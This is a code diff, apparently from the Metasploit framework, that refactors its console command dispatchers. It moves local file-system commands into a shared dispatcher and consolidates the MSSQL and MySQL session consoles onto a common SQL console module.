'getlwd' => 'Print local working directory',
|
||||
'getwd' => 'Print working directory',
|
||||
'lcat' => 'Read the contents of a local file to the screen',
|
||||
'lcd' => 'Change local working directory',
|
||||
'lmkdir' => 'Create new directory on local machine',
|
||||
'lpwd' => 'Print local working directory',
|
||||
'ls' => 'List files',
|
||||
'lls' => 'List local files',
|
||||
'mkdir' => 'Make directory',
|
||||
'pwd' => 'Print working directory',
|
||||
'rm' => 'Delete the specified file',
|
||||
@@ -114,14 +100,8 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
'dir' => [COMMAND_ID_STDAPI_FS_STAT, COMMAND_ID_STDAPI_FS_LS],
|
||||
'download' => [],
|
||||
'edit' => [],
|
||||
'getlwd' => [],
|
||||
'getwd' => [COMMAND_ID_STDAPI_FS_GETWD],
|
||||
'lcat' => [],
|
||||
'lcd' => [],
|
||||
'lmkdir' => [],
|
||||
'lpwd' => [],
|
||||
'ls' => [COMMAND_ID_STDAPI_FS_STAT, COMMAND_ID_STDAPI_FS_LS],
|
||||
'lls' => [],
|
||||
'mkdir' => [COMMAND_ID_STDAPI_FS_MKDIR],
|
||||
'pwd' => [COMMAND_ID_STDAPI_FS_GETWD],
|
||||
'rmdir' => [COMMAND_ID_STDAPI_FS_DELETE_DIR],
|
||||
@@ -134,7 +114,8 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
'show_mount' => [COMMAND_ID_STDAPI_FS_MOUNT_SHOW],
|
||||
}
|
||||
|
||||
filter_commands(all, reqs)
|
||||
# Merge the local file system commands into the filtered commands hash
|
||||
filter_commands(all.merge(local_fs_commands), reqs)
|
||||
end
|
||||
|
||||
#
|
||||
@@ -310,43 +291,6 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
tab_complete_cfilenames(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Reads the contents of a local file and prints them to the screen.
|
||||
#
|
||||
def cmd_lcat(*args)
|
||||
if (args.length == 0 || args.include?('-h') || args.include?('--help'))
|
||||
print_line("Usage: lcat file")
|
||||
return true
|
||||
end
|
||||
|
||||
path = args[0]
|
||||
path = ::File.expand_path(path) if path =~ path_expand_regex
|
||||
|
||||
|
||||
if (::File.stat(path).directory?)
|
||||
print_error("#{path} is a directory")
|
||||
else
|
||||
fd = ::File.new(path, "rb")
|
||||
begin
|
||||
until fd.eof?
|
||||
print(fd.read)
|
||||
end
|
||||
# EOFError is raised if file is empty, do nothing, just catch
|
||||
rescue EOFError
|
||||
end
|
||||
fd.close
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the lcat command
|
||||
#
|
||||
def cmd_lcat_tabs(str, words)
|
||||
tab_complete_filenames(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Change the working directory.
|
||||
#
|
||||
@@ -371,48 +315,6 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
tab_complete_cdirectory(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Change the local working directory.
|
||||
#
|
||||
def cmd_lcd(*args)
|
||||
if (args.length == 0)
|
||||
print_line("Usage: lcd directory")
|
||||
return true
|
||||
end
|
||||
|
||||
::Dir.chdir(args[0])
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the lcd command
|
||||
#
|
||||
def cmd_lcd_tabs(str, words)
|
||||
tab_complete_directory(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Create new directory on local machine
|
||||
#
|
||||
def cmd_lmkdir(*args)
|
||||
if (args.length == 0)
|
||||
print_line("Usage: lmkdir </path/to/directory>")
|
||||
return
|
||||
end
|
||||
|
||||
args.each do |path|
|
||||
begin
|
||||
::FileUtils.mkdir_p(path)
|
||||
print_line("Directory '#{path}' created successfully.")
|
||||
rescue ::StandardError => e
|
||||
print_error("Error creating #{path} directory: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieve the checksum of a file
|
||||
#
|
||||
@@ -703,17 +605,6 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
|
||||
alias :cmd_edit_tabs :cmd_cat_tabs
|
||||
|
||||
#
|
||||
# Display the local working directory.
|
||||
#
|
||||
def cmd_lpwd(*args)
|
||||
print_line(::Dir.pwd)
|
||||
return true
|
||||
end
|
||||
|
||||
alias cmd_getlwd cmd_lpwd
|
||||
|
||||
|
||||
def cmd_ls_help
|
||||
print_line "Usage: ls [options] [glob/path]"
|
||||
print_line
|
||||
@@ -862,130 +753,6 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
alias :cmd_dir_help :cmd_ls_help
|
||||
alias :cmd_dir_tabs :cmd_ls_tabs
|
||||
|
||||
def cmd_lls_help
|
||||
print_line "Usage: lls [options]"
|
||||
print_line
|
||||
print_line "Lists contents of a local directory or file info"
|
||||
print_line @@lls_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Get list local path information for lls command
|
||||
#
|
||||
def list_local_path(path, sort, order, search_term = nil)
|
||||
# Single file as path
|
||||
if !::File.directory?(path)
|
||||
perms = pretty_perms(path)
|
||||
stat = ::File.stat(path)
|
||||
print_line("#{perms} #{stat.size} #{stat.ftype[0,3]} #{stat.mtime} #{path}")
|
||||
return
|
||||
end
|
||||
|
||||
# Enumerate each item...
|
||||
# No need to sort as Table will do it for us
|
||||
columns = [ 'Mode', 'Size', 'Type', 'Last modified', 'Name' ]
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Listing Local: #{path}",
|
||||
'SortIndex' => columns.index(sort),
|
||||
'SortOrder' => order,
|
||||
'Columns' => columns)
|
||||
|
||||
items = 0
|
||||
files = ::Dir.entries(path)
|
||||
|
||||
files.each do |file|
|
||||
file_path = ::File.join(path, file)
|
||||
|
||||
perms = pretty_perms(file_path)
|
||||
stat = ::File.stat(file_path)
|
||||
|
||||
row = [
|
||||
perms ? perms : '',
|
||||
stat.size ? stat.size.to_s : '',
|
||||
stat.ftype ? stat.ftype[0,3] : '',
|
||||
stat.mtime ? stat.mtime : '',
|
||||
file
|
||||
]
|
||||
if file != '.' && file != '..'
|
||||
if row.join(' ') =~ /#{search_term}/
|
||||
tbl << row
|
||||
items += 1
|
||||
end
|
||||
end
|
||||
end
|
||||
if items > 0
|
||||
print_line(tbl.to_s)
|
||||
else
|
||||
print_line("No entries exist in #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
# Code from prettymode in lib/rex/post/file_stat.rb
|
||||
# adapted for local file usage
|
||||
def pretty_perms(path)
|
||||
m = ::File.stat(path).mode
|
||||
om = '%04o' % m
|
||||
perms = ''
|
||||
|
||||
3.times {
|
||||
perms = ((m & 01) == 01 ? 'x' : '-') + perms
|
||||
perms = ((m & 02) == 02 ? 'w' : '-') + perms
|
||||
perms = ((m & 04) == 04 ? 'r' : '-') + perms
|
||||
m >>= 3
|
||||
}
|
||||
|
||||
return "#{om}/#{perms}"
|
||||
end
|
||||
|
||||
#
|
||||
# List local files
|
||||
#
|
||||
def cmd_lls(*args)
|
||||
# Set Defaults
|
||||
path = ::Dir.pwd
|
||||
sort = 'Name'
|
||||
order = :forward
|
||||
search_term = nil
|
||||
|
||||
# Parse the args
|
||||
@@lls_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
# Sort options
|
||||
when '-s'
|
||||
sort = 'Size'
|
||||
when '-t'
|
||||
sort = 'Last modified'
|
||||
# Output options
|
||||
when '-r'
|
||||
order = :reverse
|
||||
# Search
|
||||
when '-S'
|
||||
search_term = val
|
||||
if search_term.nil?
|
||||
print_error("Enter a search term")
|
||||
return true
|
||||
else
|
||||
search_term = /#{search_term}/nmi
|
||||
end
|
||||
# Help and path
|
||||
when "-h"
|
||||
cmd_lls_help
|
||||
return 0
|
||||
when nil
|
||||
path = val
|
||||
end
|
||||
}
|
||||
|
||||
list_local_path(path, sort, order, search_term)
|
||||
end
|
||||
|
||||
alias :cmd_lls_tabs :cmd_lcd_tabs
|
||||
|
||||
#
|
||||
# Alias the lls command to dir, for those of us who have windows muscle-memory
|
||||
#
|
||||
alias :cmd_ldir :cmd_lls
|
||||
|
||||
#
|
||||
# Make one or more directory.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/sql/ui/console'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module MSSQL
|
||||
@@ -10,13 +12,13 @@ module Rex
|
||||
#
|
||||
###
|
||||
class Console
|
||||
include Rex::Post::Sql::Ui::Console
|
||||
include Rex::Ui::Text::DispatcherShell
|
||||
|
||||
# Dispatchers
|
||||
require 'rex/post/mssql/ui/console/command_dispatcher'
|
||||
require 'rex/post/mssql/ui/console/command_dispatcher/core'
|
||||
require 'rex/post/mssql/ui/console/command_dispatcher/client'
|
||||
require 'rex/post/mssql/ui/console/command_dispatcher/modules'
|
||||
|
||||
#
|
||||
# Initialize the MSSQL console.
|
||||
@@ -26,8 +28,8 @@ module Rex
|
||||
# The mssql client context
|
||||
self.session = session
|
||||
self.client = session.client
|
||||
self.cwd = session.client.mssql_query('SELECT DB_NAME();')[:rows][0][0]
|
||||
prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{cwd})%clr"
|
||||
envchange = ::Rex::Proto::MSSQL::ClientMixin::ENVCHANGE
|
||||
prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{client.initial_info_for_envchange(envchange: envchange::DATABASE)[:new]})%clr"
|
||||
history_manager = Msf::Config.mssql_session_history
|
||||
super(prompt, '>', history_manager, nil, :mssql)
|
||||
|
||||
@@ -39,7 +41,7 @@ module Rex
|
||||
|
||||
enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core)
|
||||
enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Client)
|
||||
enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Modules)
|
||||
enstack_dispatcher(Msf::Ui::Console::CommandDispatcher::LocalFileSystem)
|
||||
|
||||
# Set up logging to whatever logsink 'core' is using
|
||||
if ! $dispatcher['mssql']
|
||||
@@ -47,95 +49,12 @@ module Rex
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Called when someone wants to interact with the mssql client. It's
|
||||
# assumed that init_ui has been called prior.
|
||||
#
|
||||
# @param [Proc] block
|
||||
# @return [Integer]
|
||||
def interact(&block)
|
||||
# Run queued commands
|
||||
commands.delete_if do |ent|
|
||||
run_single(ent)
|
||||
true
|
||||
end
|
||||
|
||||
# Run the interactive loop
|
||||
run do |line|
|
||||
# Run the command
|
||||
run_single(line)
|
||||
|
||||
# If a block was supplied, call it, otherwise return false
|
||||
if block
|
||||
block.call
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Queues a command to be run when the interactive loop is entered.
|
||||
#
|
||||
# @param [Object] cmd
|
||||
# @return [Object]
|
||||
def queue_cmd(cmd)
|
||||
self.commands << cmd
|
||||
end
|
||||
|
||||
#
|
||||
# Runs the specified command wrapper in something to catch meterpreter
|
||||
# exceptions.
|
||||
#
|
||||
# @param [Object] dispatcher
|
||||
# @param [Object] method
|
||||
# @param [Object] arguments
|
||||
# @return [FalseClass]
|
||||
def run_command(dispatcher, method, arguments)
|
||||
begin
|
||||
super
|
||||
rescue ::Timeout::Error
|
||||
log_error('Operation timed out.')
|
||||
rescue ::Rex::InvalidDestination => e
|
||||
log_error(e.message)
|
||||
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
|
||||
self.session.kill
|
||||
rescue ::StandardError => e
|
||||
log_error("Error running command #{method}: #{e.class} #{e}")
|
||||
elog(e)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Logs that an error occurred and persists the callstack.
|
||||
#
|
||||
# @param [Object] msg
|
||||
# @return [Object]
|
||||
def log_error(msg)
|
||||
print_error(msg)
|
||||
|
||||
elog(msg, 'MSSQL')
|
||||
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'mssql')
|
||||
end
|
||||
|
||||
# @return [Msf::Sessions::MSSQL]
|
||||
attr_reader :session
|
||||
|
||||
# @return [MSSQL::Client]
|
||||
attr_reader :client
|
||||
|
||||
# @return [String]
|
||||
attr_accessor :cwd
|
||||
|
||||
# @param [Object] val
|
||||
# @return [String]
|
||||
def format_prompt(val)
|
||||
self.cwd ||= ''
|
||||
prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{@cwd})%clr > "
|
||||
substitute_colors(prompt, true)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :session, :client # :nodoc:
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/ui/text/dispatcher_shell'
|
||||
require 'rex/post/sql/ui/console/command_dispatcher'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
@@ -12,63 +13,7 @@ module Rex
|
||||
#
|
||||
###
|
||||
module Console::CommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher::Session
|
||||
|
||||
#
|
||||
# Initializes an instance of the core command set using the supplied session and client
|
||||
# for interactivity.
|
||||
#
|
||||
# @param [Rex::Post::MSSQL::Ui::Console] console
|
||||
def initialize(console)
|
||||
super
|
||||
@msf_loaded = nil
|
||||
@filtered_commands = []
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the MSSQL client context.
|
||||
#
|
||||
# @return [MSSQL::Client]
|
||||
def client
|
||||
console = shell
|
||||
console.client
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the MSSQL session context.
|
||||
#
|
||||
# @return [Msf::Sessions::MSSQL]
|
||||
def session
|
||||
console = shell
|
||||
console.session
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the commands that meet the requirements
|
||||
#
|
||||
# @param [Object] all
|
||||
# @param [Object] reqs
|
||||
# @return [Object]
|
||||
def filter_commands(all, reqs)
|
||||
all.delete_if do |cmd, _desc|
|
||||
if reqs[cmd]&.any? { |req| !client.commands.include?(req) }
|
||||
@filtered_commands << cmd
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Object] cmd
|
||||
# @param [Object] line
|
||||
# @return [Symbol, nil]
|
||||
def unknown_command(cmd, line)
|
||||
if @filtered_commands.include?(cmd)
|
||||
print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})")
|
||||
return :handled
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
include Rex::Post::Sql::Ui::Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Return the subdir of the `documentation/` directory that should be used
|
||||
@@ -78,34 +23,6 @@ module Rex
|
||||
def docs_dir
|
||||
::File.join(super, 'mssql_session')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the client has a framework object.
|
||||
#
|
||||
# Used for firing framework session events
|
||||
#
|
||||
# @return [TrueClass, FalseClass]
|
||||
def msf_loaded?
|
||||
return @msf_loaded unless @msf_loaded.nil?
|
||||
|
||||
# if we get here we must not have initialized yet
|
||||
|
||||
@msf_loaded = !session.framework.nil?
|
||||
@msf_loaded
|
||||
end
|
||||
|
||||
#
|
||||
# Log that an error occurred.
|
||||
#
|
||||
# @param [Object] msg
|
||||
# @return [Object]
|
||||
def log_error(msg)
|
||||
print_error(msg)
|
||||
|
||||
elog(msg, 'mssql')
|
||||
|
||||
dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'mssql')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'pathname'
|
||||
require 'reline'
|
||||
require 'rex/post/sql/ui/console/command_dispatcher/client'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
@@ -13,98 +12,20 @@ module Rex
|
||||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Client
|
||||
|
||||
include Rex::Post::Sql::Ui::Console::CommandDispatcher::Client
|
||||
include Rex::Post::MSSQL::Ui::Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Initializes an instance of the core command set using the supplied console
|
||||
# for interactivity.
|
||||
#
|
||||
# @param [Rex::Post::MSSQL::Ui::Console] console
|
||||
def initialize(console)
|
||||
super
|
||||
|
||||
@db_search_results = []
|
||||
end
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
# @return [Hash{String->String}]
|
||||
def commands
|
||||
cmds = {
|
||||
'query' => 'Run a raw SQL query',
|
||||
'shell' => 'Enter a raw shell where SQL queries can be executed',
|
||||
}
|
||||
|
||||
reqs = {}
|
||||
|
||||
filter_commands(cmds, reqs)
|
||||
end
|
||||
|
||||
# @return [String]
|
||||
def name
|
||||
'MSSQL Client'
|
||||
end
|
||||
|
||||
# @param [Object] args
|
||||
# @return [FalseClass, TrueClass]
|
||||
def help_args?(args)
|
||||
return false unless args.instance_of?(::Array)
|
||||
|
||||
args.include?('-h') || args.include?('--help')
|
||||
end
|
||||
|
||||
# @return [Object]
|
||||
def cmd_shell_help
|
||||
print_line 'Usage: shell'
|
||||
print_line
|
||||
print_line 'Go into a raw SQL shell where SQL queries can be executed.'
|
||||
print_line 'To exit, type `exit`, `quit`, `end` or `stop`.'
|
||||
print_line
|
||||
end
|
||||
|
||||
# @param [Array] args
|
||||
# @return [Object]
|
||||
def cmd_shell(*args)
|
||||
cmd_shell_help && return if help_args?(args)
|
||||
|
||||
prompt_proc_before = ::Reline.prompt_proc
|
||||
|
||||
::Reline.prompt_proc = proc { |line_buffer| line_buffer.each_with_index.map { |_line, i| i > 0 ? 'SQL *> ' : 'SQL >> ' } }
|
||||
|
||||
stop_words = %w[stop s exit e end quit q].freeze
|
||||
|
||||
finished = false
|
||||
loop do
|
||||
begin
|
||||
raw_query = ::Reline.readmultiline('SQL >> ', use_history = true) do |multiline_input|
|
||||
finished = stop_words.include?(multiline_input.split.last)
|
||||
finished || (multiline_input.split.last && !multiline_input.split.last.end_with?('\\'))
|
||||
end
|
||||
rescue ::Interrupt
|
||||
finished = true
|
||||
ensure
|
||||
::Reline.prompt_proc = prompt_proc_before
|
||||
end
|
||||
|
||||
if finished
|
||||
print_status 'Exiting Shell mode.'
|
||||
return
|
||||
end
|
||||
|
||||
formatted_query = raw_query.split.map { |word| word.chomp('\\') }.reject(&:empty?).compact.join(' ')
|
||||
|
||||
print_status "Running SQL Command: '#{formatted_query}'"
|
||||
cmd_query(formatted_query)
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Object]
|
||||
def cmd_query_help
|
||||
print_line 'Usage: query'
|
||||
print_line
|
||||
print_line 'Run a raw SQL query on the target.'
|
||||
print_line 'Run a single SQL query on the target.'
|
||||
print_line @@query_opts.usage
|
||||
print_line 'Examples:'
|
||||
print_line
|
||||
print_line ' query select @@version;'
|
||||
@@ -113,32 +34,10 @@ module Rex
|
||||
print_line
|
||||
end
|
||||
|
||||
# @param [Array] result The result of an SQL query to format.
|
||||
def format_result(result)
|
||||
columns = ['#']
|
||||
|
||||
unless result.is_a?(Array)
|
||||
result.fields.each { |field| columns.append(field.name) }
|
||||
|
||||
::Rex::Text::Table.new(
|
||||
'Header' => 'Query Result',
|
||||
'Indent' => 4,
|
||||
'Columns' => columns,
|
||||
'Rows' => result.map.each.with_index { |row, i| [i, row].flatten }
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Array] args SQL query
|
||||
# @return [Object]
|
||||
def cmd_query(*args)
|
||||
if help_args?(args)
|
||||
cmd_query_help
|
||||
return
|
||||
end
|
||||
|
||||
query = args.join(' ').to_s
|
||||
client.mssql_query(query, true) || []
|
||||
# @param [Hash] result The MSSQL query result
|
||||
# @return [Hash] Hash containing rows, columns and errors.
|
||||
def normalise_sql_result(result)
|
||||
{ rows: result[:rows], columns: result[:colnames], errors: result[:errors] }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/mssql'
|
||||
require 'rex/post/sql/ui/console/command_dispatcher/core'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
@@ -12,48 +12,8 @@ module Rex
|
||||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Core
|
||||
|
||||
include Rex::Post::Sql::Ui::Console::CommandDispatcher::Core
|
||||
include Rex::Post::MSSQL::Ui::Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Initializes an instance of the core command set using the supplied session and client
|
||||
# for interactivity.
|
||||
#
|
||||
# @param [Rex::Post::MSSQL::Ui::Console] console
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
cmds = {
|
||||
'?' => 'Help menu',
|
||||
'background' => 'Backgrounds the current session',
|
||||
'bg' => 'Alias for background',
|
||||
'exit' => 'Terminate the MSSQL session',
|
||||
'help' => 'Help menu',
|
||||
'irb' => 'Open an interactive Ruby shell on the current session',
|
||||
'pry' => 'Open the Pry debugger on the current session',
|
||||
'sessions' => 'Quickly switch to another session'
|
||||
}
|
||||
|
||||
reqs = {}
|
||||
|
||||
filter_commands(cmds, reqs)
|
||||
end
|
||||
|
||||
#
|
||||
# Core
|
||||
#
|
||||
def name
|
||||
'Core'
|
||||
end
|
||||
|
||||
def unknown_command(cmd, line)
|
||||
status = super
|
||||
|
||||
status
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,95 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'pathname'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module MSSQL
|
||||
module Ui
|
||||
###
|
||||
#
|
||||
# MSSQL client commands for running modules
|
||||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Modules
|
||||
|
||||
include Rex::Post::MSSQL::Ui::Console::CommandDispatcher
|
||||
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
cmds = {
|
||||
'run' => 'Run a module'
|
||||
}
|
||||
|
||||
reqs = {}
|
||||
|
||||
filter_commands(cmds, reqs)
|
||||
end
|
||||
|
||||
#
|
||||
# Modules
|
||||
#
|
||||
def name
|
||||
'Modules'
|
||||
end
|
||||
|
||||
def cmd_run_help
|
||||
print_line 'Usage: Modules'
|
||||
print_line
|
||||
print_line 'Run a module.'
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Executes a module/script in the context of the mssql session.
|
||||
#
|
||||
def cmd_run(*args)
|
||||
if args.empty? || args.first == '-h' || args.first == '--help'
|
||||
cmd_run_help
|
||||
return true
|
||||
end
|
||||
|
||||
# Get the script name
|
||||
begin
|
||||
script_name = args.shift
|
||||
# First try it as a module if we have access to the Metasploit
|
||||
# Framework instance. If we don't, or if no such module exists,
|
||||
# fall back to using the scripting interface.
|
||||
if msf_loaded? && (mod = session.framework.modules.create(script_name))
|
||||
original_mod = mod
|
||||
reloaded_mod = session.framework.modules.reload_module(original_mod)
|
||||
|
||||
unless reloaded_mod
|
||||
error = session.framework.modules.module_load_error_by_path[original_mod.file_path]
|
||||
print_error("Failed to reload module: #{error}")
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
opts = ''
|
||||
|
||||
opts << (args + [ "SESSION=#{session.sid}" ]).join(',')
|
||||
result = reloaded_mod.run_simple(
|
||||
'LocalInput' => shell.input,
|
||||
'LocalOutput' => shell.output,
|
||||
'OptionStr' => opts
|
||||
)
|
||||
|
||||
print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session)
|
||||
else
|
||||
# the rest of the arguments get passed in through the binding
|
||||
session.execute_script(script_name, args)
|
||||
end
|
||||
rescue StandardError => e
|
||||
print_error("Error in script: #{script_name}")
|
||||
elog("Error in script: #{script_name}", error: e)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,5 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/sql/ui/console'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module MySQL
|
||||
@@ -7,14 +9,13 @@ module Rex
|
||||
|
||||
# This class provides a shell driven interface to the MySQL client API.
|
||||
class Console
|
||||
include Rex::Post::Sql::Ui::Console
|
||||
include Rex::Ui::Text::DispatcherShell
|
||||
|
||||
# Dispatchers
|
||||
require 'rex/post/mysql/ui/console/command_dispatcher'
|
||||
require 'rex/post/mysql/ui/console/command_dispatcher/core'
|
||||
require 'rex/post/mysql/ui/console/command_dispatcher/client'
|
||||
require 'rex/post/mysql/ui/console/command_dispatcher/modules'
|
||||
|
||||
|
||||
# Initialize the MySQL console.
|
||||
#
|
||||
@@ -23,8 +24,8 @@ module Rex
|
||||
# The mysql client context
|
||||
self.session = session
|
||||
self.client = session.client
|
||||
self.cwd = client.database
|
||||
prompt = "%undMySQL @ #{client.socket.peerinfo} (#{cwd})%clr"
|
||||
self.client.socket ||= self.client.io
|
||||
prompt = "%undMySQL @ #{client.socket.peerinfo} (#{current_database})%clr"
|
||||
history_manager = Msf::Config.mysql_session_history
|
||||
super(prompt, '>', history_manager, nil, :mysql)
|
||||
|
||||
@@ -36,7 +37,7 @@ module Rex
|
||||
|
||||
enstack_dispatcher(::Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core)
|
||||
enstack_dispatcher(::Rex::Post::MySQL::Ui::Console::CommandDispatcher::Client)
|
||||
enstack_dispatcher(::Rex::Post::MySQL::Ui::Console::CommandDispatcher::Modules)
|
||||
enstack_dispatcher(Msf::Ui::Console::CommandDispatcher::LocalFileSystem)
|
||||
|
||||
# Set up logging to whatever logsink 'core' is using
|
||||
if ! $dispatcher['mysql']
|
||||
@@ -44,91 +45,12 @@ module Rex
|
||||
end
|
||||
end
|
||||
|
||||
# Called when someone wants to interact with the mysql client. It's
|
||||
# assumed that init_ui has been called prior.
|
||||
#
|
||||
# @param [Proc] block
|
||||
# @return [Integer]
|
||||
def interact(&block)
|
||||
# Run queued commands
|
||||
commands.delete_if do |ent|
|
||||
run_single(ent)
|
||||
true
|
||||
end
|
||||
|
||||
# Run the interactive loop
|
||||
run do |line|
|
||||
# Run the command
|
||||
run_single(line)
|
||||
|
||||
# If a block was supplied, call it, otherwise return false
|
||||
if block
|
||||
block.call
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Queues a command to be run when the interactive loop is entered.
|
||||
#
|
||||
# @param [Object] cmd
|
||||
# @return [Object]
|
||||
def queue_cmd(cmd)
|
||||
self.commands << cmd
|
||||
end
|
||||
|
||||
# Runs the specified command wrapper in something to catch meterpreter
|
||||
# exceptions.
|
||||
#
|
||||
# @param [Object] dispatcher
|
||||
# @param [Object] method
|
||||
# @param [Object] arguments
|
||||
# @return [FalseClass]
|
||||
def run_command(dispatcher, method, arguments)
|
||||
begin
|
||||
super
|
||||
rescue ::Timeout::Error
|
||||
log_error('Operation timed out.')
|
||||
rescue ::Rex::InvalidDestination => e
|
||||
log_error(e.message)
|
||||
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
|
||||
self.session.kill
|
||||
rescue ::StandardError => e
|
||||
log_error("Error running command #{method}: #{e.class} #{e}")
|
||||
elog(e)
|
||||
end
|
||||
end
|
||||
|
||||
# Logs that an error occurred and persists the callstack.
|
||||
#
|
||||
# @param [Object] msg
|
||||
# @return [Object]
|
||||
def log_error(msg)
|
||||
print_error(msg)
|
||||
|
||||
elog(msg, 'mysql')
|
||||
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'mysql')
|
||||
end
|
||||
|
||||
# @return [Msf::Sessions::MySQL]
|
||||
attr_reader :session
|
||||
|
||||
# @return [MySQL::Client]
|
||||
attr_reader :client
|
||||
|
||||
# @return [String]
|
||||
attr_accessor :cwd
|
||||
|
||||
# @param [Object] val
|
||||
# @return [String]
|
||||
def format_prompt(val)
|
||||
@cwd ||= client.database
|
||||
prompt = "%undMySQL @ #{client.socket.peerinfo} (#{@cwd})%clr > "
|
||||
substitute_colors(prompt, true)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :session, :client # :nodoc:
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/ui/text/dispatcher_shell'
|
||||
require 'rex/post/sql/ui/console/command_dispatcher'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
@@ -9,59 +10,7 @@ module Rex
|
||||
|
||||
# Base class for all command dispatchers within the MySQL console user interface.
|
||||
module Console::CommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher::Session
|
||||
|
||||
# Initializes an instance of the core command set using the supplied session and client
|
||||
# for interactivity.
|
||||
#
|
||||
# @param [Rex::Post::MySQL::Ui::Console] console
|
||||
def initialize(console)
|
||||
super
|
||||
@msf_loaded = nil
|
||||
@filtered_commands = []
|
||||
end
|
||||
|
||||
# Returns the MySQL client context.
|
||||
#
|
||||
# @return [MySQL::Client]
|
||||
def client
|
||||
console = shell
|
||||
console.client
|
||||
end
|
||||
|
||||
# Returns the MySQL session context.
|
||||
#
|
||||
# @return [Msf::Sessions::MySQL]
|
||||
def session
|
||||
console = shell
|
||||
console.session
|
||||
end
|
||||
|
||||
# Returns the commands that meet the requirements
|
||||
#
|
||||
# @param [Object] all
|
||||
# @param [Object] reqs
|
||||
# @return [Object]
|
||||
def filter_commands(all, reqs)
|
||||
all.delete_if do |cmd, _desc|
|
||||
if reqs[cmd]&.any? { |req| !client.commands.include?(req) }
|
||||
@filtered_commands << cmd
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Object] cmd
|
||||
# @param [Object] line
|
||||
# @return [Symbol, nil]
|
||||
